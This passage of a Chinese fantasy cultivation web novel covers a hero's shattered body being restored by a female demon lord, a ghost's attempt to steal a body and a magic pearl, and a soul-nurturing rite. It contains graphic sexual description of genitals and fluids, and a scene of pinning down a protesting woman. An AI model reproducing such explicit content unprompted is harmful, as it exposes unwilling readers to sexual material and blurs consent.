“谁说我的凝眉镜不中用了。我这双手造出的东西怎么会有不中用的。”素衣女子颇是自负地拿起了凝眉镜。
凝眉镜显出了罗浮女王数百道妖异蓝光的本命法宝透入本风肉身的绚烂。确实绚烂。本风的肉身爆而不散,整个肉身被绚烂的玄阴碧焰珠爆散的珠线缠绕着,成了世无二出的华丽丽的蓝色肉粽子。
素衣女子手指轻弹,一道水蓝的薄雾罩住了本风的肉身,然后,就轻移双腿,坐到了本风肉身的身边,很随意的在伸开腿散坐着。
“你们两个,去摘紫碗草,我要用紫碗草包最好看的蓝色粽子。”素衣女子朝飞琴和飞棋轻挥了一下手,又伸手从石拿了一个琉璃瓶子,手指朝瓶子里一点,在本风的那张碎脸上点了一滴水露。
本风如沐春风,如饮甘露。若是胳膊和腿归自己管,肯定要抱住素衣女子亲一下。这素衣女子的长医术肯定比自己高明,肉身复原肯定是没有问题了。
素衣女子竟然趴到了本风身上,身体一躬,背上多了一对长只两尺的蚌壳。手指在蚌壳上轻轻一抹,蚌壳变成了与身体同高。
“我要进去了,可不要怕疼。”素衣女子毫不避讳地贴紧了本风的肉身,两片蚌壳合上了。
本风顿觉一股难以抵御的体香。
第105章 三百圣女,魔王法则[二十一]
以体香入药,接筋接脉接骨——本风这位超级郎中也是闻所未闻。鼻中闻到一股股如兰似麝的酥香,而且一对椒瓜似的嫩峰贴在了本风七纵八横的肉身上。
“元神还不归位?”素衣女子的声音颤颤地。她似乎也是未经闺阁章程的处-子。
本风听到素衣女子的声音,元神和本命莲婴很乖地往心所里挤——立时感觉到动人心魄令人心碎的剧痛,本风的心念里映出了四个字:生不如死……一具烂得不能再烂的肉身,若是修炼到元神离体境界的阴修,断不会再这样自讨苦吃,忍受诸般难以想象的剧痛,复原肉身。
元神离体的境界,夺舍寄神,就可以象王希藏这样的阴人一样将元神寄在随便一个身具生魂的肉身上,炼养自己的元神。当下的本风,却根本不知道夺舍寄神的法诀,本风修习的是天琴师姐口授的《莲典》。
《莲典》是口授意通而无半个文字的法诀,需要灵慧的悟性。本风所缺的就是这个。没有意通灵慧的悟性,倒是可以守执补拙。本风觉得要是现下有一篇道修的元神归位的法诀该有多好,不用这么生生地撒心裂肺地硬来。生不如死,本风的元神乐受了元神得脱肉身晋升元神彼岸位的三位一体的玄妙,却没有让元神归于心所的法诀,以拙用拙地让元神归回心所竟然是难上加难……心所如海,一层一层的阶关,若没有法诀,倒象是以头撞墙,要破掉不知多少层,才能如意地归位。
素衣女子通悉了本风有限的掉本钱,识海里不知划了多少遍难以置信的问号,“原本以为遇上了一个通慧透顶的青年俊彦,没想到遇上了一只超级怪胎的呆头鹅。”
“你……竟然是比笨还笨的呆头鹅……我遇见的最笨的呆头鹅。”素衣女子起了身子,好奇地盯着本风的肉身,“连虚凝元神的法诀都不知,竟然……你真是个怪胎,你要把你的元神也搞得闷摩罗王那个蠢货一样,靠那几块乱木头寄神延命。”
“嘿嘿,有了李本风这小子,我只能做天下第二蠢货了。”闷摩罗王出声了。这位天下第二蠢货似乎颇有自信。
本风听见闷摩罗王的声音,立时又归于三位一体的玄妙中,然后哼了一声,半分客气也没有地嘲讽闷摩罗王:“你老小子要是不坐第一蠢货的头把交椅,只怕是第二第三第四第五第六第七第八第九第十的交椅都没有人坐,九百年空前绝后的闷摩罗神王都屈居第二了,要想再有出其右者,只怕是要再等九百年。”
“嘿嘿,再有九百年老子仍是第二,哈哈哈。”闷摩罗王象个十足的蠢货一样很狂放的笑。
“你们两个都是超级怪胎。”素衣女子两只手都张开了,身上的蚌壳随着她的手张开的方向猛撞了几下。
闷摩罗王发出了一声惨叫。
本风却忍住了没出声儿。本风的心所精魂仿佛被人硬硬地揪起来,然后重重地摔到了石壁上—样。素衣女子刚才还温柔无比地以体香入药,想极快地疗治本风遭受重创的肉身,这一会儿突然就变脸了,用的却是极其霸道的重手法。
“你不疼吗……呆头鹅?”素衣女子很奇怪地问本风。
“疼,比疼还疼。”本风的声音带着咝咝的伴音。
“疼?为什么不跟第二蠢货一样叫一声?”素衣女子的手又张开了。
闷摩罗王跟被挤碎心魂似地发声:“行了,受一下就足够了,你要是再来这么一下,我就成了第三蠢货了……摩罗山的拂捏神王要是做了第二蠢货,天下就再也找不出一个蠢货了。”
“你闭嘴,再说话,我就毁了你那块烂木头。”素衣女子又让闷摩罗王惨叫了一声。
“神王,你是神王?十大神王?”本风很惊异地问了一声。
“我是第十一神王,再过几个时辰,没准儿就是第九或者第八神王了。”素衣女子收起了蚌壳,在本风的肉身上又滴了几滴甘露。
“不明白。”本风摇头。
“赞摩置、巴迩逻这两个第九、第十的蠢货死了,我就排第九神王,如果第二蠢货死了,我就是第八神王……明白了吗,呆头鹅。”
自封第八神王的拂捏穆末咭咭咯咯地笑了。
“李本风这小子是第二怪胎,老子是第三怪胎,第八神王是第一怪胎。”闷摩罗王恨恨地出声。
拂捏穆末作怪地张了张手,放出两道变成紫黑色的贝壳,实实把放在本风脚边的木塔撞了几下。闷摩罗王惨叫连声。
第八神王的手段果然不是一般地辣手。
“去!”拂捏穆末的一只纤纤玉脚轻轻一伸,将闷摩罗王的黑暗圣堂踢到了石屋外。
……
“来,小亲亲的怪胎,小怪怪的蠢货,我这个自封的第八神王继续给你做药引子。”拂捏神王又是初始的温柔至极的药引子神态了。
“打个商量,能不能用点儿别的办法?”本风很怕拂捏神王用辣手摧花。
肉身如花,腿,胳膊,头不知什么时候被拂捏神王摆弄得跟五片花瓣似地。这位超级神王处-子妞,竟然不擅医道,纯是好奇要害死猫的把医人当成了制器。
“你还要怎样?嫌我的体香不够?要不要再来几个能让男人骨酥的?”拂捏神王用她的赤足勾了一下本风毫无反应的脚趾。
本风踌躇了一下,道:“麻烦神王下山去找几家正统道修,看看能不能寻到一篇虚凝神元神的法诀。”
“哧,你……本风宗主,本风大宗师,本风金仙,我要对你刮目相看了。”拂捏神王伸手指点了一下石壁上的一道法阵。
一座很大很大的书房出现了,是皇家装饰的风格。
“选吧,呆头鹅宗师,里面有三百部虚凝元神的法诀。”拂捏神王纤着玉-足去了石屋外。飞琴和飞棋采了紫碗草的雪露回来了。
拂捏神王看到飞琴和飞棋,嘴角微微一动,拿出凝眉镜,似笑非笑地对二女道:“你们看看,我刚才从凝眉镜里看到,有那么一个山洞,里面有一只呆头鹅,还有两个玉质蕙心的体香女子……喂,本风大宗师,你要是看那一屋子的法诀看得比呆还呆的时候,不要忘了,要两个体香的女子进去给你暖脚……啊哟,怎么会这样?”
飞琴和飞棋看到了凝眉镜里,两人张着小嘴儿跟本风的羞死人的闺中。
“本风公子,这个女人不是好人,她在作坏。”飞琴羞得不知怎么办好,跑到屋里朝本风喊了一声。
本风搬了一摞子书,准备恶补道家法诀。
这书房里的道家法诀太多了,还有接脉换骨的医书。
听到飞琴的声音,本风朝飞琴招了招手,“进书房来,帮我找书,你们可知道,哪一家道门的虚凝元神的法诀能在几天以内修成?”
“啊?”飞琴吃惊地啊了一声。
进了石屋的飞棋也啊了一声。
“怎么?没有吗?”本风问。
“不是没有,是不可能,虚凝元神是分神期的修为才可以做到的,而且,而且要长年修习本门的法诀,每一个境界的法诀都是要一步一步地修习,我们门主就是很快的了,也要十年时间,金阙虚乘法诀修习到了第六重呢,这些,我们连想都不敢想哦……你怎么会想起这个……哦,我想到了,一定是外面的那个坏女人在骗公子呢,她一定是心存不轨,要谋夺公子的法器……”
飞棋还想说下去,却被本风阻住了。本风还顾不到第一怪胎拂捏神王把自己弄到石屋里所图的是什么,当下,先把元神归位了,才是最急迫的——彼岸位的元神不能长时间地游离在心所之位,本风第二次处在三位一体的玄妙中,并没有维持多长时间,本命莲婴映现的天莲星宫很快消失了,本命莲婴可以顺畅地回归心所,彼岸位的本命元神却被心所的层层阶关阻住了。元神归不了位,本风出现了散神的征兆,一丝丝的千针乱刺的感觉,千百道的抽扯的能量往四外扩散。
急中之急,临时抱佛脚,本风要修习虚凝元神的法诀。
虚凝元神的法诀太多了,看着眼花。真象飞棋说的一样,虚凝元神的法诀需要基础道门的法诀数十年的精修才行。
飞琴找了几本护养元神的基础法诀给本风。本风看了两盏茶时间,却是越看越糊涂,索性不看了。
“第二蠢货,出点儿声音,别闷你的怪胎元神了,你老小子再闷九百年也还是个怪胎。”本风甚至想放弃了,就这么让自己的元神在彼岸位里飘着,然后跟闷摩罗王聊聊。
飘吧,如果真要散成了云烟什么地,说不定挺绚烂地……想着想着,本风竟然感到了肉身的手和胳膊动了起来。
能动了吗?是不是元神顺其自然地归位了?
识海打开,才知道是飞琴和飞棋拿了本风的手和胳膊想接到一起。两女经历过那么多的战场,从来没想过人的肉身能碎得这么绚烂的吓人。两女的心里,越来越觉得本风的肉身没有恢复的可能。
“你们不用费那心,只要我元神归位,我会想到办法,让肉身复原,一定会地,不用担心。”
两女听着本风的话,又跑进书房翻找《脉经》《骨经》一类的书。找到看似有用的,就放到石壁的格子上。
盈护本风元神识海的精阳越来越弱……识海慢慢地模糊了。
飞琴找到一本《五蕴分神经》想让本风看看有没有用,却没听到本风的回音——着急地叫了几声,还是没有回应。
“这……怎么办?本风公子是不是被那个女人做了手脚?”飞琴急了,跟飞琪说了一句,又冲着门外喊:“喂,你,快进来看看,本风公子……他不会应声了。”
“那就让他散神好了,正好,我可以用他的心所精魂炼一下法器,这只呆头鹅的东西,不要坏了我的法器基胎。”拂捏神王散淡淡的声音,“我可不是郎中,我是炼器的,什么古怪的东西都想拿来炼炼。”
“你,我们上你的当了。”飞琴动怒了。
“我又没说我要让李本风这只第一怪胎第一蠢货能毫发无伤。他死他活,有什么要紧的,你们又不是他的女人,就算是他的女人,也可以作鸟兽散,这只怪胎的肉身就算复原了,也是百无一用的蠢货。”
拂捏神王的话让飞琴和飞棋愤怒得连话也不说了,直接放出飞剑,暴出了两道金黄的剑茫。两女拼命了,两道剑茫分明是宁为玉碎不为瓦全的决绝。
“本风大宗师,有两个比你还蠢的女人,要跟你同年同月同日死了……啊哟,我的命也要搭上了,我要成了第一蠢货了……”拂捏神王不躲不闪地硬受了两女的飞剑,素衣上顿时绽出了血花。
第106章 三百圣女,魔王法则[二十二]
“太好了,天赐我良机,踏破铁鞋无觅处,嘻嘻,得来全不费功夫。”鬼魅冯小怜显出了玉-体横陈的曼妙躯体。
这鬼妞为了寄养游魂,每天都要在坟地之间把那具横陈了一个朝代的肉身搬运来搬运去,还要保养得完好如初,很辛苦……早就烦了,躲在黑暗圣堂里,这鬼妞就萌生了一个很泣鬼神的怪念,她要找个最满意的肉身寄养游魂……鬼妞想学着明月姑娘的妖王入人身的法子,用生人的肉身把那可怜的鬼魅游魂炼成超级元神。
只有鬼才知道这鬼妞的很泣鬼神的执念是不是真的会石破天惊地炼成本命元神。
这鬼妞的执念很可怕。紫摩罗山上的一众男奴和女奴,不到六个时辰,就枉死了三百多个。若不是她的二世姐姐应缚真阻止,还不知要让这鬼妞暴掉多少生魂。
好在,这鬼妞还知道应缚真的真身不是她这个可怜的三世鬼魅能暴掉的。她还要用应缚真的那个金身罩护着自己——要完美地利用,不然,养魂未成身再死,第四世还不知要转生个多悲摧的下位者。
冯小怜用游魂引着应缚真去打了明月姑娘那儿。明月姑娘跟勒兹女王、雪阙姑娘在无闾山的石屋里制造兵器。明月夫人说了,勒兹国的威武女王手底下得有班师回国平定叛乱的几万精兵,有精兵就得有所向披糜的兵器。三位夫人这就忙上了。
本来,勒兹女王和雪阙姑娘极度担心本风相公的安危。明月夫人说,蜀山的两位金仙护着他,怎么可能让本风公子有一丝闪失,两女这才欣然地听令明月夫人的调遣。
明月夫人解开了石屋里的一道法阵,发现了一座兵器山。断枪断剑断刀断戟应有尽有,完整的没有,需要炼化再重新锻造。
锻造兵器是陈鼎坚手下的那批铁匠的本行。
应缚真被明月姑娘留下了,跟雪阙姑娘一起埋锅造饭,当起了厨子。冯小怜简直要乐疯了,一待日轮西沉,就游魂乱窜地上了摩乌都山谷。
“飞琴和飞棋只要有一个肉身能寄养了我的鬼魅游魂,就万事大吉了。”冯小怜一直盯着飞琴和飞棋,她要瞅准一个机会,一个保魂无忧的机会才会出手。不能再有闪失了,再有闪失,她却没有把握逃过金阙圣女的金阙雷音剑。
没想到,拂捏神王竟然舍身侍道。冯小怜的一双贪焚鬼眼直直地盯着倒在雪中的拂捏神王的上品肉身。拂捏神王的肉身太完美了,无暇的白璧。
太意外的天赐之物。
躺在雪中的拂捏神王仍是拈花一笑的从容,一双可以舍诸一切的眼睛看着飞琴和飞棋,“闷摩罗王这个蠢货说对了,他只能是第二蠢货,我是当之无愧的第一蠢货……真的很蠢,我以为,你们出口必称正义的正统道修,不会随便杀人的,可是,你们竟然杀了,还杀了两剑,好厉害的飞剑,我……好疼好疼……我就要死了……我竟然是蠢死地……我为什么要蠢死呢……”
拂捏神王的两只眼睛慢慢地闭上了。
人就这么死了。
闷摩罗王很沉闷的声音说了一句:“谁杀了人,就要把人埋了,就把他埋在那棵霜蛟树下,埋了以后,点上几柱香,不要让第八神王成了摩罗鬼域里第一个蠢死的孤魂野鬼。”
飞琴和飞棋呆楞了好一阵子。醒过神来以后,两女在枯死的霜蛟神木树下挖了一个很大的坑。就用霜蛟树的枯干把拂捏神王的尸首包好了,放到了坑里,然后,就一把一把地抓着土,埋好了。
从石屋里找了三把线香,插到坟堆上,点了,默念超生咒。
下半夜,两女合衣躺在本风的肉身旁边睡着了。
机会终于来了。
冯小怜没急着下手,先是放出一道鬼离影,试了试跟死人没什么差别的紫茫圣女和神缨圣女,两女半丝反应也没有。
飞琴和飞棋也没反应。
冯小莲的鬼离影扫到了本风的右臂下放着的龙形蛇影剑。黑莲雌雄珠。剑身中的黑莲雌雄珠的那双黑白灵眼闭上了,很乖的样子。
鬼离影查探了几次,黑莲雌雄珠毫无反应。
又是天赐良机。
还好是鬼魅无心……这鬼妞要是有心,那心怕是要狂跳不止……鬼离影飘移到了拂捏神王的坟墓里。
一道移形换影的法术放出,拂捏穆末的完美肉身被冯小怜李代桃僵了。
冯小怜飘到了本风的肉身上,轻叹道:“为了你这个怀璧的冤家,我费了多少周折,才等到今天这样的机会,你小子的命怎么就这么好呢,一个修成仙身的魔王竟然要为你舍身,你小子掉眼泪了没有,她这么做,是动了情劫……我的命怎么比你还好呢,一下子碰上这么美妙无比的天赐良机,得了一个仙身寄魂……这真是天作之合……黑莲雌雄珠,来吧,奴家,可想死你了……”
一双玉-嫩酥滑的鬼手伸到了龙形蛇影剑的剑身中。
“我忍你很久了,你这个第一蠢的鬼东西。”本风的声音暴响。
龙形蛇影剑弹起,以实质的剑身劈中了冯小怜的鬼魅游魂。
冯小怜连声惨叫。
两道实质的龙形在冯小怜的鬼魅游魂里张牙舞爪地翻腾。
鬼妞小怜受伤了。裂魂的重伤。
“不要啊,不要啊,楚怜妹妹救我,缚真姐姐救我,李本风这个蠢货要杀我,他真要杀我……他要暴了我的魂……”冯小怜连放了两道移形换魂的法术,想脱离龙形的折磨。
未能脱开。
“李本风,我要跟你鱼死网破!”冯小怜的离魂鬼影围着本风的肉身转了一圈儿,竟双手一抓,将本风的肉身抓到了空中。
本风忽觉肉身一阵异动,轻飘飘地脱开了冯小怜的鬼爪手。鱼眉圣女的本命法宝被冯小怜的鬼阴触动了,一道道蓝色珠线冲进了本风的识海。原本散乱的脉线霎然间旋成了一朵蓝色的水莲,身上的那些妖异的蓝色珠线,一波又一波地悸动不已。心所精阳旋动,脚猛地踢了一下。
元神归位了,元神与心所精魂融为一体。
“小怜姑娘,谢谢你成全了我,嘿嘿,你可以鱼死,我可不能网破,我这肉身受之父母,不能轻易毁伤……你可要知道,你这鱼死网破的狠话,要是传遍大隋,没准儿又是亡隋之语,这普天之下,不知道有多少人要跟大隋的杨坚和独孤氏鱼死网破。”本风两手结了不动根本印,调笑怒极的冯小怜。
“我要杀了你,撕了你的肉身,暴了你的精魂!”冯小怜的游魂脱开了龙形蛇影剑的控制,抓起神缨圣女的弥逻彩霓练,环出了十几道紫黑的阴煞罩住了本风。
“我最不想跟女人打生打死,你这又何苦来着,有道是人心不足蛇吞象,你得了第八神王的完美肉身,就该去找一处密室,把跟神王的肉身凝化合聚,要是成了,这世上就多了一个绝世美女,少了一个阴厉狠辣的鬼妞,何苦又要谋夺我的黑莲雌雄珠。”
本风心所盈动,黑莲雌雄珠灵眼眨动,放出了三道妖异的绿茫。
“哼!”冯小怜不闪不避鬼影直扑,跟拂捏神王硬受飞琴飞棋两道飞剑剑茫一般,身受三道绿茫,手捏了弥逻彩霓练,套住了本风的脖颈。
本风有心要试一下重聚的肉身能不能抗住冯小怜手里的圣女法器的攻击。肉身从绚烂的粽子霎然间复原,本风感到太过侥幸——是鱼眉圣女的本命法宝玄阴碧焰珠施为,玄阴碧焰珠不想成为弃物,以本身的灵性,在本风的识海里凝成了一朵妖异的蓝色水莲,无心插柳地让本风的肉身复原了。
解铃还须系铃人。
冯小怜却没用弥逻彩霓练,生硬地抬起脚,朝本风的肚子踢了一计,很无赖的打架。
本风一口鲜血涌上喉头,眼冒金星,扑到了雪地上,冯小怜又是极其无赖的一脚踩在本风的背上——这鬼妞的玉脚真够力道,本风立觉气闷。
“我要打得你满地找牙,吐血而亡。”冯小怜象是街镇上的骂街女人,扯着弥逻彩霓练,抖了几下,本风半昏地翻了几个翻滚,鬼妞的两只胳膊直起直落地朝本风的胸口重击了两下。本风顾不上结不动根本印了,起脚朝冯小怜的踢了一下,又笨笨地举起右臂朝冯小怜的腰部捣了一计。
先天后期的一代宗主,竟然玩起了街头打架的把戏,而且还是跟一个鬼妞。
“哈哈哈,真过瘾,爽死了!”冯小怜暴笑着,脚踩着本风的肩头一跃而起,右腿高举又要对本风施暴,却被本风握住脚腕架住了。
鬼妞的腿心花苑暴露无疑——鬼妞竟然以冯小怜的肉身跟本风耍赖。这鬼妞抓狂之中倒也暗用心机。本风就算真的暴怒,也不会毁了冯小怜玉-体横陈的妖媚肉身。
令人窒息的。
如玉的肚腹绷成一道一道的线条,整个,色泽如粉橘,最的密地有一撮乌亮亮的纤茸微微飘动,粉贝毫无遮掩,露出了一条略带粘露的细缝。腿开得好大,不开大也不行,本风很怕这鬼妞再度施暴,狠抓着她的脚腕往上扯着。冯小怜的那两片不该露于人的酥润娇肉微微翻开,抖动间,滴沥着一丝晶莹润露。
“不打了,咱们扯平,你练你的阳鬼道,我练我的天莲道,咱们井水不犯河水。”本风心软了。
“哼!”冯小怜猛起身,作势又要暴踢。本风抓住冯小怜的另一条腿的脚腕,硬举了起来。两条美腿几乎被本风拉成了一字。冯小怜很不自在地挺腰一拧,却奈何不了本风。
“松手,再不松手,我咬你。”冯小怜娇躯坠下,两腿一收,右脚突然对准了本风的天灵盖,呼,脚猛地弹出!
本风忙乱地一转头,堪堪避过,忽然觉到脸上溅了一滴带着体香的秘液——小怜姑娘贝缝里的秘露滴溅在了本风的脸上。本风用手一抹,嗅着了一丝酸酸甜甜的味道,女人的那里面怎么会有如许的沁人心脾的香味,很象果浆,没有丝毫不洁的异味,反倒是想再品尝几滴。 10-06
第107章 三百圣女,魔王法则[二十三]
冯小怜未能踢成,倏地飞起左膝,要顶本风的脸。
“打人不打脸。”本风心所精阳旋动,已是不惧冯小怜的乱踢乱蹬。却有意要用笨力逗弄冯小怜,双手摁住冯小怜的膝盖,坐了起来。
鬼妞的腿间水光盈润,一道晶亮亮的水液沿大-腿内侧漫流,不着亵裤的圆翘臀股上还悬着几滴液露;私蜜处被渐热的体温一蒸,入鼻的都是浓郁的果浆味道。感觉到胯间一股躁热的湿润,冯小怜不觉蹙眉。
人的肉身就是这么麻烦,这几日,冯小怜的肉身都是用神木山上紫碗草的雪露养着,肉身竟然跟生人一样有了那样的反应。
“哼,都怪李本风这个怪胎,肉身都爆烂了,竟然就这么不可思议地完好如初了……这个笨蛋的命怎么就这么好呢。”冯小怜看到本风无害地呲着牙笑,恨意又增,右腿一勾,猛地踢中了本风的胸口。
本风中招,四仰八叉地躺到处了地上。
“去死!”冯小怜抖动弥逻彩霓练,本风骨碌碌地滚到了石屋旁的雪沟里。
“再打,我就跟你翻脸了。”本风抓了一大把雪,握成一个雪团,砸在了冯小怜的头上。
雪团爆开,冯小怜那张玉脸上,就跟绽开的梨花一样。
“小怜玉-体横陈夜,已报周师入晋阳……冯小怜你真是一个祸害。”本风看着冯小怜的玉身,竟然想起了珞茫离。若是珞仙子的本命金身融炼在冯小怜的妖媚玉身中,不知会是什么样子。
“玉-体横陈皇朝祸,闷摩罗王这个第二蠢货,就是要用玉-体横陈的圣女到大隋皇宫里招摇……世间无男不贪色,杨坚就算天纵之才,亦避不过这场巨祸了。”
本风看到了飞琴和飞棋两女的合光飞星剑。
不用跟冯小怜这鬼妞打架了。
拂捏神王“死而复转”,手里拿了一朵水莲,泛着金茫的珞仙子的本命水莲。
“换衣服去喽。”拂捏神王一双玉脚立于地上,随手一拂,冯小怜的那道鬼离影轰然消失。
冯小怜一声惨叫,嘴里乱骂:“两个魔王合起伙来算计、设套,无耻第一,卑鄙第一,怪胎第一。”
“再骂一声,就消了你的第一蠢货的游魂,让你去摩罗鬼域里呆着。”拂捏神王说话的时候,两眼细瞧着冯小怜的那具妖媚。
“那些蠢男人真是暴殄天物。”一道雪雾漫起,拂捏神王和冯小怜的娇躯飘进了石屋。
“本风公子,进来了,里面可离不了你。”拂捏神王娇音唤了本风一声。
……
本风进了石屋。
书房。
偌大的书房三进三出,绣廊环绕。书房倒象是香闺。
就是香闺。拂捏神王有二十几处这样的香闺。
本风进了书房,看着拂捏神王一路香风地转了两道绣廊,走到了一间雅房前。拂捏神王朝本风招了一下手,便开门进了雅房。本风就在雅房外的绣墩上坐了。
一阵窸窣之声,一道雪梅似的幽香飘出,绣门开启,襦裙丝袖,绣绫裹胸的拂捏神王走了出来,纤细的玉腕上佩着一只玉镯,肤质竟比镯子还要酥润。
披着半袖的明黄色的薄纱外衫,看起来更像是睡前闲坐的闺中绣服,因此更显得迷艳动人,这样的衣装是见不得外客的。水纱中透出一双嫩玉似的双肩,细细的臂围不露一丝骨感,雪雾般的丝绦间掩不住媚酥酥的娇嫩,触目只觉水润玉致,弹润傲人。
水纱的外衣下,仅有一件细绣抹胸,沿边缀着殊丽的孔雀屏,锦绫上绣有丝丝银线,里面裹着两团腴丰的隆起,肩骨以下仿佛是两只刚刚长成的水葫,双葫略略弹动,盈盈的雪肉挤顶了绣边的抹胸,柔软至极。
细瞧之下,才见拂捏神王有一张极是的雪嫩嫩的俏脸,身腰纤细,胸前的一对椒峰滋张,绫纹抹胸的图样全被撑裹着,满溢得变了形状,身旁的一盏莲灯,映着勾魂动魄的起伏,略一走动,那两只水葫似的浑圆玉兔便颤忽忽地晃荡起来,望之叫人目眩神驰。
本风看得喉间梗动。
玉手略动,被雪雾托着的冯小怜的肉身飘到了挂有幔帐的闺。
“本风公子,珞仙子寄托金身给你,可有什么交待?”拂捏神王懒散地坐到闺,看着娇陈着的冯小怜的肉身。
“珞仙子只怕是早知有今日,我想,这就是避也避不了的机缘。”本风已经知道了拂捏神王的心意,她是要把珞仙子的本命水莲融炼到冯小怜的肉身中。
“你想避吗?”拂捏神王勾魂的眼神看了本风一眼。
“避?不避,不能避……我怎么会避。”本风直人直语。
“倒是真话……你真是世间难有的呆头鹅……这世间……真是叫人……叫人雾里看花……”
拂捏神王的双手托住了珞茫离的本命水莲,轻抚在了冯小怜的胸口上。冯小怜的颈下露出大片胸肉,可能是床头前的莲灯烘烤的缘故,娇嫩媚艳的肉身不堪烘热,上浸出了晶莹香汗。玉身竟然动了一动,一滴香珠便滑入了乳间雪沟。娇壑被挤得太胀太满,中间竟没有一丝缝隙,汗珠滴不进去,随着柔软的玉葫一阵晃荡,颤动着滚到了抹胸边缘,溅开了一抹盈盈的光液。
本风看得目瞪口呆,喉结再度梗动。拂捏神王凝神合掌,将珞仙子的本命水莲压到了冯小怜肚腹气海处。
水莲金茫泛动,渐渐地变成了一团青色的游丝。
精魂丝。珞仙子被天莲剑海破裂了本命元神以后,以恒忍的心念凝聚而成的精魂丝,上面环旋了数道澄清的本命真元。本风的识海辩微而探,看到了精魂丝上缠结着一颗颗滴露似的结晶,透明的结晶中,珞仙子的世外身像分毫未变。
一道声音传入了本风的耳里:“闲看星月有消张,能让莲花自开落。”
“拂捏姑娘,我觉得有些不妥。这样硬来,会不会坏了珞仙子的真身。”本风有点着急地拉住了拂捏穆末的玉手。
冯小怜的肉身只是一具皮囊,缺了母胎的生养气元,珞仙子的本命水莲非是要夺舍寄神,是要融神生养,所以,本风记起《神农脉经》上一段神魂寄生的要录,出手止住了拂捏穆末。
“冯小怜的这具肉身没有生养气元,我只怕珞仙子的游魂丝被她的尸身吸化了……那鬼妞道行不行,却精擅阴诡的算计,现下,咱们最好先等一等。”
本风拿起冯小怜的玉手,开始切脉。
尸身有脉象。有脉象就不能算是尸身了。本风的精阳旋进了冯小怜的胸间诸脉,都有跃动的脉线。
却没有生养的气元。本风知道,初始的生养气元可由阴阳交-合而成。
拂捏穆末也想到了阴阳交-合。本风想的却是三位一体的阴阳交—合,拂捏穆末是分神期的魔修,本命元神可以御动冯小怜的肉身跟男人交-合,生出初始的生养气元,就可以让珞仙子的本命水莲结胎生养了。
只有三位一体,才可以。没有拂捏穆末这样分神期的魔修从中主持,随便找一个男人,让他趴在冯小怜的尸身上再怎么卖力也无济于事。
当然,不能随便找一个男人。已经体验过很怪胎的三位一体玄妙的本风是上上之选,甚或是不二之选。
本命元神受到重创的闷摩罗王和珞仙子都选中本风相公,非是一时惶急之选,乃是千年难遇之机缘。
拂捏神王焉能不知。
神识通明的拂捏神王已经羞得姣花照水了。羞归羞,却没用本风说什么话,就开始宽衣解带。
本风也没有拿什么虚态,解开腰间的腰带就扯外裤。刚脱到屁-股下,就听拂捏穆末说道:“又不是要你春闺致欢,不用脱那么多。”
“那你也不用脱那么多,咱们只是为珞仙子结胎而用。”本风往上提了提外裤。
“男人跟女人又怎么能一样……”拂捏穆末轻叹了一声,玉手解开了自己的罗衫。
若是能与拂捏姑娘两位一体该有多好……本风又念及珞茫离那盈盈的一株本命水莲的期许,便闭了眼睛,任由拂捏姑娘脱衣。
“你这人呆是真呆,始终把我们魔修的女子看低一等,你称她仙子,却叫我姑娘……”拂捏神王的闺怨让本风听得煞是心动。
“睁开眼吧,我已经脱好了。”
听到拂捏姑娘带着叹息的声音,本风睁眼。
一对玉莹的蚌贝里,两条玉润笔直的腿,略略地摆动了一直,雪嫩的膝弯微露脉筋,窈窕的双腿曲线弯到大-腿之上,便显出至极的美妙,的雪臀绷出两团圆月也似的曲线,腰间凹下两道精致的玉肌塌陷,益发衬得臀股高-耸,挺-翘处美艳不可方物。
本风赶紧移开了视线,看着冯小怜的肉身。
冯小怜的肉身旁边是鱼眉圣女用过的凝眉镜。本风可以从凝眉镜里看到拂捏姑娘的玉身。如银的月华映照着娇艳的胴-体,胴体上泛着若有若无的晶莹液光。玉嫩的小腹没有一丝赘肉,卷曲的乌黑的细毛覆着浑圆的秘处,腿根处,有两瓣嫩果也似的贝肉略显湿滑,甚至沁出了几滴耻液……
第108章 三百圣女,魔王法则[二十四]
“来呀,怪胎。”拂捏姑娘看本风只知发呆,发声提醒了一句,屁-股挨到床边,挑起绣床间的纱帐,略带羞意地拿了一个绣枕,躺到了一边。
已经记不起有多长的时日,跟男人在一起呆过了,也许是二百年,又或许是三百年。拂捏穆末的一具肉身只会给一个男人——问世间身为何物,只教一次相许……若是跟男人有了交—合,便会舍掉。
比洁癖还洁癖的女人,俗世道修眼里的舍身魔王。若是看不透她的真身,若有幸遇上了,就以为是跟一个不染尘垢的仙子有了长思量最难忘的。仙子身下死,简直是男人们最向往的死法。
本风呆望许久,倒没有急着在仙子身下死。本风相公的发呆不是未解闺阁风情的发呆,是沉迷在轮回之境里,又显映了一段跟拂捏穆末快活无比的时日。
……
花间门,被正统道修鄙视的把邪修,本风和拂捏穆末阴差阳错地成了花间门下的师姐和师弟。
两人也没修习什么上乘的法诀,整日里就是打打闹闹混日子。
“哼哼,想逃吗,昨日就吃了三师姐的豆腐,看我今天不替她讨回来。”拂捏穆末追着嘻嘻笑着在石屋外乱跑的本风:“蠢货,你跑不掉的!”玉腕舒伸,一道飞练放出,竟将奔到门边的本风硬生生扯了回来,一脚飞起,正中本风的屁-股。
本风朝门前跌了几步,稳住了身形。
拂捏穆末踢了这一脚,爽得跳着脚地笑,“小怪胎,这一下是我踢还自己的,还有一下是三师姐的。”伸脚又要再踢,却见本风缓缓转身,脸上竟现出一副从未见过的吓人神态,狰狞、恐怖、凶狠,不由失声惊叫:“你这个怪胎,又要发什么疯……你吓着我了?”
本风如中魔障,冷冷道:“你可以打一个男人的头,却不能打一个男人的脸,更不能踢一个男人的屁-股,因为……男人的屁-股是摸不得的,你摸了男人的屁-股就等于摸了男人的小乖乖……哼哼,谁踢了我的屁-股,我要让她一辈子都不能再嫁第二个男人了。”
“谁要嫁你个怪胎……我偏要踢你的屁-股……”拂捏穆末又踢了一记。
“你要后悔了,病猫要发威了!”本风张着两只手,就去抓拂捏穆末的两只玉兔。
拂捏穆末竟然不知闪避,只好奇地瞧着本风的魔爪。
本风却改抓为击,一下子打在了拂捏穆末的肚子上,拂捏穆末未及反应,呼了一声痛,软软地坐到了地上,刚想起身,已给本风扑身压到了地上。拂捏穆末惊慌地推了本风一把:“你……蠢货,要做什么!”
本风嘻嘻一笑,“我要跟你做个野地里的露水夫妻。”拂捏穆末闭目挺身,酥-胸挺了挺,声音颤颤地道:“你敢,我是师姐,你小心我切了你的小乖乖煮汤喝。”
本风道:“就这话,你已经说了一百遍了。”瞧瞧她那张勾魂摄魄的俏脸,想动手,却又不知怕什么,就只好趴在她身上,用手抓着她的胳膊。
拂捏穆末被本风压得俏脸潮润,嗔叫道:“快放我起来!”
